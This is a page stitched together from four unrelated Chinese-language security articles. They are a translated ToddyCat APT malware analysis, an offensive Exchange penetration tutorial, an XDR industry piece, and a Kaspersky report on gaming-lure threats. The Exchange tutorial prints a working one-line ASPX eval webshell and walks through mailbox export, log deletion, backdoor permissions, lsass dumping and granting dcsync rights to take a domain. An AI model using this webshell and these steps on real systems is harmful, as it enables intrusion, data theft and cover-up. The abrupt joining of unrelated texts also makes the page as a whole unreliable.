加載程序通過從同一目錄中應該存在的另一個文件加載加密的有效負載來啟動其活動,然後使用異或對加載的數據進行解碼,其中異或項是使用一種不尋常的技術生成的。惡意軟件使用靜態種子(static seed)通過shuffle和add操作生成256字節的XOR_KEY塊。

使用另一個嵌入的64字節IDX塊作為索引再次對生成的XOR_KEY塊進行改組,以獲得特定的256字節XOR鍵,XOR密鑰用於解密文件內容,並將結果值加載到內存中。
Update A和VLC A在其進程地址空間中加載下一階段,解密的有效負載應該是一個庫,該庫導出具有特定名稱的函數:“Start”或“_”,具體要看變體。
變體VLC B創建一個新的wusa.exe (Windows Update Standalone Installer)進程,這是一個位於System32目錄下的合法Windows程序。然後,它將解密的有效負載注入遠程進程地址空間的地址空間,並使用CreateRemoteThread函數運行它。
定制的加載程序調查時,我們注意到在攻擊某些目標時,攻擊者用另一種變體替換了標準加載程序,我們稱之為定制加載程序,因為加密文件是為特定係統量身定制的。
該代碼與標準加載器變體VLC a類似,主要區別在於加密文件的位置和文件名(%CommonApplicationData%\Local\user.key
)以及用於獲取最終有效負載的解密方案。使用上面提到的相同算法,其中使用XOR_SEED生成256字節的XOR_KEY塊,然後使用另一個嵌入的64字節IDX塊將其混合,在混合兩個塊之前,惡意軟件會收集PhysicalDrive0的存儲屬性,從而獲得硬盤的型號。

用於獲取存儲屬性的代碼片段
並使用GetVolumeNameForVolumeMountPointA函數來檢索“C:\”卷GUID。

用於獲取卷GUID的代碼片段
這兩個值連續用作修改IDX塊的異或項。這種方法表明存儲在user.key的加密有效負載是為目標系統量身定制的。
據觀察,定制加載器用於保持長期持久性。用於實現此目標的技術與攻擊者的Samurai後門所使用的技術相同,後者允許攻擊者將惡意軟件隱藏在svchost.exe地址空間中。
在這種情況下,攻擊者創建以下註冊表項:

此註冊表項旨在強制合法的svchost.exe進程在系統啟動期間加載FontCacheSvc服務。進程的命令行看起來像這樣:
C:\Windows\system32\svchost.exe -k fontcsvc -s fontachesvc
攻擊者還創建一個新的服務,該服務被配置為加載定制的加載程序,該加載程序通常存儲在文件名apibridge.dll中。

Ninja由前面描述的組件加載的最後一個階段是Ninja代理。這是一種用c++編寫的複雜惡意軟件,可能是ToddyCat開發的未知利用後工具包的一部分。我們之前介紹過。
代理是一個提供各種功能的強大工具,包括但不限於:
運行進程的枚舉和管理;
文件系統管理;
管理多個反向shell會話;
向任意進程注入代碼;
在運行時加載附加模塊(可能是插件);
代理功能,用於在C2和遠程主機之間轉發TCP數據包。
代理的最新版本支持與上一個報告中描述的相同的命令,但是配置不同。雖然以前的版本使用XOR項0xAA混淆了嵌入式配置,但新版本使用NOT二進制操作來實現相同的目的。
儘管配置中包含的信息保持不變,但互斥對象名稱已移到HTTP標頭之後。
LoFiSe
這是一個用於查找和收集目標系統上感興趣文件的組件。 LoFiSe這個名字來源於這個工具使用的互斥對象名稱(' MicrosoftLocalFileService '),該工具本身是一個名為DsNcDiag.dll的DLL文件,使用DLL側加載技術啟動。使用軟件包“Pulse Secure Network Connect 8.3”中具有數字簽名和原始名稱為“nclauncher.exe”的合法可執行文件作為加載程序。以下路徑和文件名在被攻擊的系統上是已知的:
C:\ProgramFiles\WindowsMail\AcroRd64.exe
C:\ProgramFiles\WindowsMail\DsNcDiag.dll
C:\ProgramFiles\CommonFiles\VLCMedia\VLCMediaUP.exe
C:\ProgramFiles\CommonFiles\VLCMedia\DsNcDiag.dll啟動後,LoFiSe開始跟踪文件系統中的更改。系統中的所有驅動器都被監控。在收到文件創建或修改事件後,該工具執行幾次檢查。過濾大小大於6400000字節( 6mb)的文件。某些文件夾中的文件也會被過濾。這些都是在其完整路徑中包含ProgramData的文件,或者已經存儲在LoFiSe工作目錄中的文件。
以下是工具存儲文件的工作目錄,具體取決於版本:
C:\Programdata\Microsofts\
C:\windows\temp\在下一階段,根據以下掩碼檢查文件擴展名:

如果文件通過了所有的檢查並且適合收集,LoFiSe就會計算它的MD5哈希值,並用它來檢查以前複製的文件,並將此信息存儲在數據庫中。在該工具的所有已知版本中,數據庫文件稱為Date.db,並在工作目錄中創建。數據庫中添加了兩個表:

數據庫中的文件路徑

其他存儲數據
如果MD5文件不在表中,它將被添加到工作目錄中。
每隔三個小時,LoFiSe將工作目錄中的所有文件收集到一個有密碼保護的ZIP-archive中,並將其放入一個單獨的文件夾中以供進一步竊取:

準備收集數據時產生的日誌
DropBox上傳器這是一個通用的DropBox上傳器,任何人都可以使用它將數據上傳到流行的文件託管服務。這個工具可能不是todddycat唯一使用的,但我們觀察到該組織使用它來竊取被盜的文件,
這個小實用程序接受DropBox用戶訪問令牌作為參數。然後,它解析當前工作目錄並上傳具有以下擴展名的文件:

調查中,我們還發現了其他幾個類似的樣品,這些樣品由不同的包裝商保護,只在東南亞檢測到。然而,在某些示例中,該工具是在沒有明顯被ToddyCat感染的系統上發現的。
Pcexter這是另一個用於將存檔文件洩露到微軟OneDrive的上傳程序。該工具作為名為Vspmsg.dll的DLL文件傳播,該文件使用DLL側加載技術執行,作為加載器,該工具使用來自Visual Studio的合法可執行文件VSPerfCmd,該文件用於收集性能數據。這些可執行文件在受攻擊系統上的已知路徑如下:
c:\windows\temp\googledrivefs.exeC:\windows\temp\vspmsg.dll
c:\programfiles\windowsmail\securityhealthsystray64.exec:\programfiles\windowsmail\vspmsg.dll
c:\programfiles\commonfiles\vlcmedia\vlcmediastatus.exec:\programfiles\commonfiles\vlcmedia\vspmsg.dll這個工具需要以下參數:

啟動後,Pcexter等待事件“Global\SystemLocalPcexter”觸發,然後開始使用給定的掩碼在指定目錄中搜索文件。這是LoFiSe工具在創建要發送的存檔時設置的事件。
Pcexter使用OneDrive OAuth 2.0授權,檢索訪問令牌並通過POST方法發送文件:

其他工具被動UDP後門這是一個很小的被動後門,用UDP數據包接收命令,攻擊者通常在執行此後門之前通過任務遠程執行以下命令。

該命令在目標主機上創建一個名為SGAccessInboundRule的新防火牆規則。它允許後門在端口49683上接收UDP數據包。執行該命令後,攻擊者執行後門:

後門的邏輯很簡單:它將UDP套接字綁定到指定端口,解壓縮接收到的數據,並使用WinExec函數執行結果字符串。命令執行後,後門會返回一條包含當前系統時間和已執行命令的消息,以此反饋命令的執行情況。但是,後門程序不提供該命令的輸出。
這個後門的確切目的目前尚不清楚,但有可能是為了在檢測到其他植入程序時提供額外的持久性。
CobaltStrike在調查過程中,我們觀察到攻擊者在部署Ninja代理之前使用了CobaltStrike。具體來說,我們觀察到一個用c++編寫的加載器的使用,它位於:
C:\ProgramData\Microsoft\mf\windef.dll惡意軟件加載一個名為“BIN”的嵌入式資源。使用異或算法和嵌入在代碼中的密鑰:B0 9A E4 EA F7 BE B7 B0對資源內容進行反混淆。
由此產生的有效負載是CobaltStrike信標,配置為與以下URL通信:
hxxps://www.githubdd.workers[.]dev/fam/mfe?restart=false攻擊開始大約10分鐘後,系統檢測到ToddyCat Ninja。
Post-exploitation調查發現,為了實現這一目標,攻擊者使用上面描述的加載程序和木馬等工具滲透企業網絡。之後,它就開始收集連接到同一網絡主機的信息,以查找可能具有感興趣文件的目標。
該組織執行發現活動,通過利用標準操作系統管理實用程序(如net和ping)枚舉域帳戶和DC服務器:

在確定潛在目標後,該組織通過使用受攻擊的域管理憑據在本地安裝網絡共享來橫向移動:

攻擊者註意隨著時間的推移輪換使用的憑據,相同的憑據不太可能長期使用。
複製腳本後,將創建一個計劃任務,執行並立即刪除網絡共享,所有這些都是針對每個目標主機循環進行的:

計劃任務通常可以包含單個發現命令、二進制調用或負責執行收集活動的PS1或BAT腳本。
在橫向移動期間,單命令計劃任務的輸出保存在特定的文件中,以便攻擊者將遠程驅動器掛載為本地共享時可以捕獲它:

在運行腳本的情況下,命令如下:然後,我們觀察到PS1腳本中發現的相同的PowerShell命令被包裝在BAT腳本中,這可能是為了避免被檢測到。
然而,有些文件夾似乎比其他文件夾更受歡迎:

攻擊者會對同一會話重用相同的任務名,這樣的名字通常會引起較少的懷疑,例如“one”和“tpcd”,而腳本名稱可以從兩個到四個隨機的鍵盤觀察字符變化,具有更高的熵。
在活動結束時,掛載一個臨時共享,然後在洩漏主機上刪除:

數據收集和洩露
如上所述,一旦確定了感興趣的目標,收集階段就開始了。攻擊者通常從許多不同的主機收集文件,並將它們存儲在檔案中,然後使用公共文件存儲服務從目標網絡中洩漏出來。

數據竊取方案
我們已經描述了一些工具,例如LoFiSe,專門用於識別和收集感興趣的文件,但是在調查過程中,我們還發現了ToddyCat使用的其他腳本,這些腳本使用WMI枚舉目標主機磁盤上的文件,並收集最近修改的具有.pdf,doc,docx,xls 和.xlsx擴展名的文檔。
在這些情況下,使用諸如7zip或RAR實用程序之類的工具執行壓縮,特定的工具可能是根據基礎設施中已經可用的工具來選擇的。與LoFiSe不同,集合腳本將枚舉文檔的路徑存儲在純文本TXT文件中。文檔壓縮可以直接在目標主機或洩漏主機上完成。
下面是在目標主機上運行的BAT腳本的內容:

在上面的示例中,文件被文件在一個tmp_文件夾中;我們還觀察到使用根據主機名參數化名稱的文件夾,例如:

要收集的文件也是根據它們最後的寫入時間來選擇的。文件的最後修改日期應該大於一定天數。這個數字通常作為腳本參數傳遞,並且可以硬編碼。
在主驅動器和輔助驅動器上選擇數據源時,收集腳本使用不同的策略。對於默認的Windows主驅動器,腳本遍歷用戶配置文件目錄(C:\Users)。這種方法增加了捕獲有價值數據的可能性,同時減少了所需的處理時間,並最大限度地減少了收集不需要文件的機會。在處理外部設備和其他非主存儲介質時,腳本會選擇一種更方便的策略,即選擇根目錄(\)。雖然主驅動器始終可用,但輔助驅動器可能並不總是可訪問,從而限制了收集機會。為了減少這一限制,攻擊者偶爾會擴展時間範圍,將輔助驅動器和可移動驅動器上的舊文件包括在其作用域中(如BAT代碼片段所示)。
以下是PS1腳本的結構:

攻擊者試圖通過保護腳本並將腳本代碼嵌入到PE “.text”部分中的特定釋放器來傳播它們以逃避防禦。

PowerShell腳本里面的可執行文件
滴管接收兩個參數;第一個是啟動執行時必須提供的密碼字符串,第二個是通過命令行實際傳輸到PS腳本的數字。啟動後,dropper創建一個名為pro.ps1的文件,並通過PowerShell執行它:
HireHackking

Exchange邮服渗透技巧

在进行渗透过程中,Exchange邮件服务器通常是我们重点关注的对象,因为拿下了Exchange邮件服务器,凭借其机器账户的权限,我们可以赋予其他域内用户dcsync的权限,进而导出域内hash,拿下整个域。
exchange系统的中配置powershell使用命令
https://learn.microsoft.com/zh-cn/powershell/module/exchange/add-mailboxfolderpermission?view=exchange-ps
扫描服务
setspn.exe

nmap


探测版本与漏洞
通过ews接口获得exchange精确版本信息

缺点:部分旧的exchange版本不支持该操作。
通过owa接口获取exchange粗略版本信息

获得版本号后,可以去官网查询对应的Exchange版本和发布日期。
查询地址:
https://learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016
使用脚本检测版本与漏洞
https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_MatchVul.py

爆破
也可以使用该工具进行用户账户密码爆破。
信息收集
假定目前以及获取到了其中一个邮箱用户的凭据,接下来就可以进行信息收集。
通过Autodiscover进行信息收集
通过https://Exchange/autodiscover/autodiscover.xml接口,可以接受xml请求并返回xml中指定的电子邮件所属邮箱配置。
因为NTLMv2 身份验证需要 HTTP/1.1 连接,而新版burpsuit默认HTTP/2,因此我们需要先进行调整。
https://blog.csdn.net/qq_30786785/article/details/121742101
读取配置等操作可以参考如下链接。
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Exchange-Autodiscover%E7%9A%84%E4%BD%BF%E7%94%A8
其中basic为身份验证,使用base64加密 VVVV1\administrator:admin!@#456
POST /autodiscover/autodiscover.xml HTTP/1.1 Host: 192.168.52.139 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Authorization: Basic VlZWVjFcYWRtaW5pc3RyYXRvcjphZG1pbiFAIzQ1Ng== Content-Type: text/xml Content-Length: 350 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>exchange1@vvvv1.com</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> 如果不存在邮箱,则会返回

如果邮箱存在,则会返回配置信息


获取exchange通讯录
全局地址列表(Global Address List,GAL)包含exchange组织所有的邮箱用户的邮件地址,只要获得exchange组织内任一邮箱用户的凭据,就可以导出其他邮箱用户的邮件地址。可以使用OWA、EWS、OAB、RPC over HTTP、MAPI over HTTP等方式获取GAL。
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97Exchange-GlobalAddressList%E7%9A%84%E6%96%B9%E6%B3%95
https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
利用OWA直接查看
人员->所有用户

通过/EWS接口获取GAL

通过OAB获取GAL
1.通过Autodiscover搜集到的OAB路径;
2.访问/OAB/OABURI/oab.xml;
3.通过oab.xml找到默认全局地址表对应的LZX文件地址,并访问/OAB/OABURI/LZXURI,得到LZX文件;
4.使用cabextract工具对LZX文件解码,即可还原出GAL;
https://www.cabextract.org.uk/
通过RPC(MAPI) over HTTP导出GAL和信息收集
MAPI OVER HTTP是Outlook同Exchange2016之间默认的通信协议
MAPI OVER HTTP是Exchange Server 2013 Service Pack 1 (SP1)中实现的新传输协议,用来替代RPC OVER HTTP(也称作Outlook Anywhere)
Exchange2013默认没有启用MAPI OVER HTTP,Outlook同Exchange之间的通信协议使用RPC OVER HTTP
使用impacket-exchanger模块可以列出address list,找到对应的guid

导出所有用户

通过python远程导出GAL

导出邮件内容
通过/OWA接口直接下载邮件
通过输入账号密码,然后直接在页面中读取或下载邮件

通过/EWS接口导出邮件内容
通过python远程导出邮件
可以通过明文密码导出,也可以通过hash导出

通过python导出邮件一般情况下使用SOAP XML message导出
XML元素官方文档:
https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-xml-elements-in-exchange
通过exshell.ps1导出邮件
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8EExchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6


当然,在导出邮件之后,我们还需要进行导出邮件痕迹的清除
查看邮件导出请求记录

删除导出日志记录

Identity参数为上图中的Mailbox参数
邮箱接管后门种植
配置模拟权限
https://4sysops.com/archives/exchange-impersonation-grant-permissions-to-service-accounts/

添加如下的权限即可。
验证是否有模拟权限:
https://192.168.52.139/ecp/exchange1@vvvv1.com/
具体利用需要结合脚本文件。

查看具有模拟权限的成员

创建一个新的具有模拟权限的成员

删除新添加模拟权限的成员

配置fullaccess权限
https://blog.csdn.net/weixin_34123613/article/details/90079532

取消fullaccess权限
验证fullaccess权限

漏洞攻击
aspx木马:
<script language="JScript" runat="server"> function Page\_Load(){/\*\*/eval(Request\["command"\],"unsafe");}</script>
后渗透阶段
exchange服务器信息收集
获取到exchange默认安装路径

控制台文件的相对位置是%ExchangeInstallPath%\Bin\exshell.ps1
获取所有邮箱信息

分析邮件跟踪日志

在配置了代理隧道的情况下可以通过copy命令将日志复制到本地。
通过脚本log_analysis.py可以提取关键信息进行分析。
import csv import os import sys def analysis(path): for i in os.listdir(path): print(i) csvfile = [] for i in open(path+"/" + i, encoding='utf-8'): if '#Software: Microsoft Exchange Server' in i: continue if i[:1] == '#': if i[:9] == '#Fields: ': i = i.replace('#Fields: ', '') else: continue csvfile.append(i) reader = csv.DictReader(csvfile) for row in reader: date_time = row["date-time"] original_server_ip = row["original-server-ip"] original_client_ip = row["original-client-ip"] from_email = row["sender-address"] to_email = row['recipient-address'].replace(';', " ") subject = row['message-subject'] if date_time !='' and original_server_ip != '' and original_client_ip != "" and from_email != "" and to_email != "" and subject != "": msg = f'[{date_time}]:[ {from_email} ][ip:{original_client_ip}] -> [ {to_email} ][ip:{original_server_ip}] [ {subject} ]\n' wf = open(f'{path}\\testout.txt', "a+", encoding='utf-8') wf.write(msg) if __name__ == '__main__': path = sys.argv[1] analysis(path=path)
使用exchange中的exshell.ps1文件也可以获取某个账户的发件信息进行分析

导出本地hash
获取到webshell权限后,查看权限是否需要提权等操作

上传微软的工具导出lsass进程中的hash防止被查杀。
导出生成的lsass.dmp文件,copy进入本地使用mimikatz进行分析。

抓取到exchange的机器用户的hash。
exchange机器位于Exchange Trusted Subsystem,而Exchange Trusted Subsystem又属于Exchange Windows Permission组,这个组具有WriteDACL权限,且可以继承,因此exchange机器对于域对象具有WriteDACL权限,我们只需要知道一个普通域用户的密码或者hash,即可赋予其dcsync的权限,导出域内hash。
搭建webshell代理
正常情况下,exchange服务器是处于不出网的环境中,而当我们拿到webshell的说话,无法反弹shell到自己的工具,所以需要通过webshell流量搭建代理隧道。
使用Chunk-Proxy工具即可,将代理文件上传到web目录中
java -jar v1.10.jar .net 1088 https://192.168.52.139/aspnet_client/proxy.aspx

发现已经成功访问到内网网段

赋予普通用户dcsync权限
使用工具bloodyAD直接远程赋予即可。


使用命令行给用户添加dcsync权限
通过加载Powershell渗透框架下的PowerView.ps1脚本实现。
经过测试,域控的机器账户并没有授予其他人dcsync服务的权限。

但是域管理员账户是拥有授予其他人dcsync服务的权限。


发现man03已经被添加dcsync权限了。
删除man03的dcsync权限
发现已经删除

赋予dcsync权限后,只需要使用hash传递将对应账户注入到当前lsass进程中,然后使用sharpkatz就可以远程导出域hash了。
总结
为什么一定要导出邮件呢?
1.在日常工作中,对于甲方的指定人员进行邮件分析,分析行为等;
2.在企业或者大型内网环境中,我们一般从exchange进去的域属于公共域,在内部里面还有私有域,两个域可能并不互相信任,也有可能是隔离的环境,那么两个域之间相互进行联系靠的就是邮件通讯,因此导出其中的邮件可能会有vpn账号等等;
3.可能企业或者内网这个域环境搭建是通过外包的,如果出现问题,企业就会需要发邮件让外包人员进行处理,同时,外包人员也并不是实时都在现场,也会通过vpn等手段连入内网,当然,在内部网络,IT部门也会根据身份分发VPN等邮件;
4.还会有许多的机器密码等等也保存在邮件中,或者在机器中;
网络hash
当我们截获到网络hash,需要思考两点:
1.如果这个网络hash只是用于身份认证的话,一般使用不可逆算法,比如md5,sha256等等算法,只能采用爆破的方法;
2.如果这个网络hash后续还需要使用明文来连接,比如连接ldap服务,那么算法大概率是可逆的,可以由相关人员来破解。


转载自原文链接地址: https://forum.butian.net/share/3679


HireHackking
如今,眾多攻擊者利用無惡意軟件的間諜技術實施無法檢測到的破壞,依靠合法的系統工具和寄生攻擊(LOTL)技術來滲入端點。無惡意軟件的攻擊有賴於用戶對合法工具的信任,很少生成唯一的特徵碼,並且依賴無文件執行。
在CrowdStrike追踪分析及其《2023年威胁狩猎报告》 闡述的所有惡意活動中,CrowdStrike威脅圖索引的檢測中有71%沒有惡意軟件。總共有14%的入侵事件依賴基於Falcon OverWatch跟踪的活動的遠程監控和管理(RMM)工具,攻擊者增加了使用RMM工具進行無惡意軟件攻擊的數量,同比增長了驚人的312%。
隨著FraudGPT標誌著武器化人工智能新時代開始到來,而企業面臨輸掉人工智能戰爭的風險。人工智能、機器學習和生成式人工智能整合到擴展檢測和響應(XDR)中就需要快速行動起來,以阻止無惡意軟件和人工智能帶來的新攻擊。
XDR提供了CISO們一直所需要的那種整合。
XDR改善了信噪比通過依賴在大規模整合的API和平台,XDR平台充分利用了每個可用的遙測數據源,以便實時檢測和響應潛在的入侵和破壞企圖。事實證明,這些平台能夠有效地減少網絡噪聲,並發現表明潛在入侵或攻擊的信號。
據Cynet 2022年對CISO開展的調查顯示,XDR對CISO們來說是一種有效的整合策略:96%的CISO計劃整合其安全平台,63%的CISO表示XDR是自己的首選解決方案。
幾乎所有接受調查的CISO都表示,整合工作已在他們的路線圖上,高於2021年的61%。 Gartner公司預測,到2027年年底,多達40%的企業將使用XDR來減少現有安全供應商的數量,而如今這個比例還不到5%。
所有XDR領導者都有一個特點,那就是他們的團隊中人工智能和機器學習方面的人才密度很高。領先的XDR平台提供商包括:博通、思科、CrowdStrike、飛塔、微軟、派拓網絡、SentinelOne、Sophos、TEHTRIS、趨勢科技和VMWare。

圖1. 圖片來源:CrowdStrike博文《XDR是什么?》
做好XDR:從端點入手端點是企圖大規模入侵的攻擊者秘密潛入的首選通道:在62%以上的時間裡,攻擊者使用竊取而來的身份訪問試圖獲取訪問權,並不斷微調間諜技術,以期找到身份和端點安全方面的缺口,這是端點最薄弱的環節。
保險、金融服務和銀行業的CISO告訴外媒,端點是需要保護的威脅面,面臨的挑戰最大。 IT團隊和安全團隊通常不知道自己有多少端點、每個端點在哪裡及其軟件物料清單(SBOM)。清理端點代理散亂問題和實現補丁管理自動化是許多CISO一開始想要實現的目標。
CISO們表示,常常發現端點上安裝過多的代理,以至於從安全的角度來看無法運作,軟件衝突使得端點更容易受到攻擊,因而它們更難遠程管理,可能會削弱性能。
Absolute Software公司的《2023年弹性指数》 使用了其5億個端點設備的匿名遙測數據,以了解其客戶平均擁有多少個端點。結果發現,典型的企業設備安裝了11個安全代理,其中2.5個用於端點管理,2.1個用於反病毒/反惡意軟件,平均1.6個用於加密。 Absolute的設備遙測數據發現,企業設備上平均安裝了67個應用程序,其中10%的設備安裝了100多個應用程序。
端點補丁管理自動化一家製造商的CIO告訴外媒,雖然打補丁的工作一直是重中之重,但自己沒有足夠多的員工來確保所有補丁都是最新版本。 CISO的同事們一致認為,補丁管理只有在緊急情況下才會得到關注,即在遭到入侵或破壞之後。
這個結論與Ivanti公司的《2023年安全准备状况报告》 相一致,Ivanti發現,在61%的時間裡,外部事件、入侵企圖或洩密重新啟動補丁管理工作。
Mukkamala告訴外媒,他預計補丁管理會變得更加自動化,人工智能助理會提供更多的上下文信息和更高的預測準確性。

圖2. 圖片來源:Ivanti
Ivanti的漏洞風險評級(VRR)評分方法依賴0到10之間的分配分數,該分數表明漏洞對組織或企業的風險。風險越高,VRR就越高。
AI通過自癒合端點增強XDR彈性在零信任環境下做好網絡彈性從端點入手。董事會和向董事會匯報的CISO表示,網絡彈性現在被認為是風險管理的必備條件。 Absolute Software的《2023年弹性指数》 反映了在遵守合規要求才能連接這個趨勢下面臨的挑戰。平衡網絡安全和網絡彈性是目標。
CISO們表示,自癒合端點是穩固的網絡彈性戰略的基石。自癒合端點提供可靠的實時遙測數據流來訓練人工智能和機器學習模型,並夯實XDR平台。與上一代基於約束和規則的解決方案相比,它們還更難以逃避和破壞。基於人工智能和機器學習的端點可以在短短幾毫秒內檢測並應對潛在的攻擊,鑑於機器對機器攻擊迅速增多,這麼快的響應時間對如今的企業來說是基本要求。
領先的自癒合端點供應商包括Absolute Software、Akamai、BlackBerry、CrowdStrike、思科、Malwarebytes、邁克菲和Microsoft 365。有媒體採訪了每家供應商的客戶,發現Absolute的方法嵌入到超過5億個端點設備的固件中,為SOC團隊提供他們及其XDR平台所需的實時遙測數據方面是最可靠的。
XDR:對抗武器化人工智能的首道防線如果網絡安全行業及其服務的許多組織要保持安全,XDR平台就需要加快步伐,充分發揮人工智能和機器學習技術的全部價值這一挑戰。人工智能戰爭誰也輸不起,攻擊者將身份和端點方面的缺口視為控製網絡和基礎設施的機會。
最令人不安的是,傳統的基於邊界的系統假定對每個身份、端點和連接都有無限的信任,一旦攻擊者闖入了端點,就可以不受限制地訪問任何系統。
做好XDR需要從端點入手。清理代理散亂問題將有助於提高端點可見性和性能,並使用具有學習能力的人工智能和機器學習技術實現補丁管理自動化,而不是等待下一次安全事件發生,這會讓IT團隊避免攻防演習和浪費的時間。
自癒合端點是網絡彈性的基石。夯實這方面是充分利用XDR架構的先決條件,而XDR架構可以發揮其保護組織核心業務功能和客戶的潛力。
HireHackking

標題:2023年遊戲業網絡攻擊情況分析

隨著收益和玩家數量(超過30億)的增加,遊戲行業也成為攻擊者的目標,尤其是玩家們期待已久的熱門遊戲經常被用作惡意活動的誘餌。截至2022年,近四分之一的玩家是未成年人,他們更容易成為攻擊者的獵物。
分析方法為了深入了解當前與遊戲相關的網絡安全風險,卡巴斯基對針對遊戲社區的普遍威脅進行了全方位研究。從偽裝成遊戲應用、mod和作弊的威脅到對該領域最活躍的惡意軟件家族的功能分析。他們還分析了使用各種遊戲名稱和遊戲平台作為誘餌的網絡釣魚頁面。
本文的分析利用了來自卡巴斯基安全網絡(KSN)的數據,這是一個處理卡巴斯基用戶自願分享的匿名網絡威脅相關數據的系統。分析時間段從2022年7月1日到2023年7月1日。
研究人員除了選擇在流媒體平台(如Origin和Steam)上下載或準備發布的排名前14款遊戲,還分析了與平台無關的遊戲進行研究。
遊戲列表是基於互聯網上最受歡迎遊戲的幾個排名。他們重點分析了手機版和桌面版《我的世界》 《Roblox》 《反恐精英:全球进攻》 (CS:GO)、《绝地求生》 (PUBG),《霍格沃茨遗产》 《远古防御2》 (DOTA 2),《英雄联盟》 《魔兽世界》 《Apex传奇》 《暗黑破坏神4》 《星球大战绝地求生》 《塞尔达传说》 《博德之门3》 和《最终幻想XVI》 相關的威脅。
威脅分析在過去的一年裡(2022年7月1日至2023年7月1日),卡巴斯基總共檢測到4076530次與遊戲相關的桌面感染,影響著全球192456名玩家。
最常見的威脅是下載程序(89.70%),其次是廣告軟件(5.25%)和特洛伊木馬(2.39%)。
作為誘餌,使用最多的遊戲是《我的世界》 ,佔70.29%,其次是《Roblox》 (20.37%)、《反恐精英:全球攻势》 (4.78%)和《PlayerUnknown’s Battlegrounds》 (2.85%)。
卡巴斯基的移動解決方案檢測到436786次與遊戲相關的感染嘗試,影響了84539名用戶。
《我的世界》 用戶(90.37%)是手機惡意軟件的最大目標,其次是PlayerUnknown的《绝地求生》 (5.09%)、《Roblox》 (3.33%)和《Baldur’s Gate》 (0.68%)。
電腦版統計方面,《我的世界》 仍然是最受攻擊者歡迎的目標。從2022年7月1日到2023年7月1日,卡巴斯基解決方案檢測到4076530次下載嘗試,共涉及30684個獨特文件,這些文件以流行遊戲或mod,作弊和其他遊戲相關軟件的名義傳播,影響了全球192456名用戶。這些文件大多是被稱為“下載器”的無用軟件(89.70%)。這類軟件本身並不危險,但它會將包括惡意軟件在內的各種其他程序下載到設備上。廣告軟件(5.25%)和木馬(2.39%)也位列桌面遊戲相關威脅的前三名。

2022年7月1日至2023年7月1日,全球十大流行遊戲威脅
在選取的14款遊戲中,《我的世界》 (70.29%)仍然是最受攻擊者歡迎的遊戲。這款沙盒遊戲在2023年擁有超過1.6億的月活躍玩家,並且仍然是世界上玩得最多的電腦遊戲之一。過去一年,利用這款遊戲作為誘餌的威脅影響著全球130619名用戶。
在30367名用戶的電腦上,惡意軟件和不受歡迎的軟件在文件名中提到Roblox(第二大目標遊戲),引發了20.37%的警報,其次是反恐精英:全球攻勢(4.78%)、絕地求生(2.85%)、霍格沃茨遺產(0.60%)、DOTA 2(0.45%)和英雄聯盟(0.31%)。

2022年7月1日至2023年7月1日,按相關威脅檢測數量排名的遊戲

從2022年7月1日到2023年7月1日,受相關威脅影響的用戶數量

2022年7月1日至2023年7月1日期間,按被作為誘餌來排名的遊戲
與手機遊戲相關的威脅自疫情以來,在智能手機和平板電腦等移動設備上玩視頻遊戲的移動遊戲用戶數量激增,尤其是在美國和亞太地區。根據Statista的數據,到2027年,手機遊戲玩家的數量將達到23億。
雖然有些遊戲的手機版本在發布後不久甚至在開發階段就被關閉了,但不時會出現號稱是手機改編的版本遊戲,攻擊者正是利用遊戲玩家迫切想要玩的心理進行誘餌攻擊。
從2022年7月1日到2023年7月1日,卡巴斯基解決方案檢測到436786次試圖感染84539名用戶的移動設備。大多數被調查的遊戲至少有一次被用作手機玩家的誘餌。

從2022年7月1日到2023年7月1日,具有威脅的遊戲排名
《我的世界》 用戶再次成為主要攻擊目標,90.37%的攻擊與這款遊戲有關,這些攻擊影響了80128名玩家。
比如,印度尼西亞的手機遊戲玩家成為攻擊者的目標,他們使用《我的世界》 作為Trojan.AndroidOS.Pootel.a的網關,當應用程序在用戶手機上啟動時,會在另一個應用市集(Application Marketplace)中打開《我的世界》 頁面。
然後,通過使用惡意代碼,它開始悄悄地註冊手機用戶。為了獲取電話號碼(這是完成訂閱所必需的),應用程序使用谷歌電話號碼提示API。然後,它在一個不可見的窗口中打開訂閱激活頁面,並將收到的用戶號碼插入到相應的字段中。之後,它點擊Subscribe按鈕,從傳入的文本消息中截取確認代碼,並將其粘貼到確認頁面上的必填字段中。
研究還顯示,伊朗的《我的世界》 手機玩家被攻擊次數最多,在這個國家,140482個警報被觸發,影響了54467個《我的世界》 玩家。
《绝地求生:大逃杀》 是卡巴斯基發現的第二大最受攻擊者歡迎的手機遊戲,佔所有警報的5.09%,其中大部分來自俄羅斯聯邦的玩家。
Roblox(3.33%)在檢測數量上排名第三,但在受影響用戶數量上排名第二。其中一個針對Roblox粉絲的惡意軟件家族是SpyNote間諜木馬,它以mod的名義在用戶中傳播。它具有許多間諜功能,例如記錄鍵盤敲擊,記錄屏幕和播放手機攝像頭的視頻,它還可以模仿谷歌和Facebook的官方應用程序,誘騙用戶洩露密碼。
排名第四的手機遊戲是《博德之门》 (Baldur’s Gate),這是一款目前還沒有正式手機版本的遊戲。大多數受影響的玩家位於俄羅斯聯邦、巴西和土耳其。

從2022年7月1日到2023年7月1日,威脅用戶遊戲的排名
網絡釣魚活動接下來,我們將深入分析14款遊戲以及其他遊戲作為誘餌的網絡釣魚活動。
虛假遊戲推廣頁面偽裝成流行遊戲的惡意和不受歡迎的軟件通常由提供盜版遊戲的第三方網站傳播。在下面的截圖中,你可以看到這類網站的例子,它們提供“免費”下載Atomic Heart, CS:GO和Euro Truck Simulator。

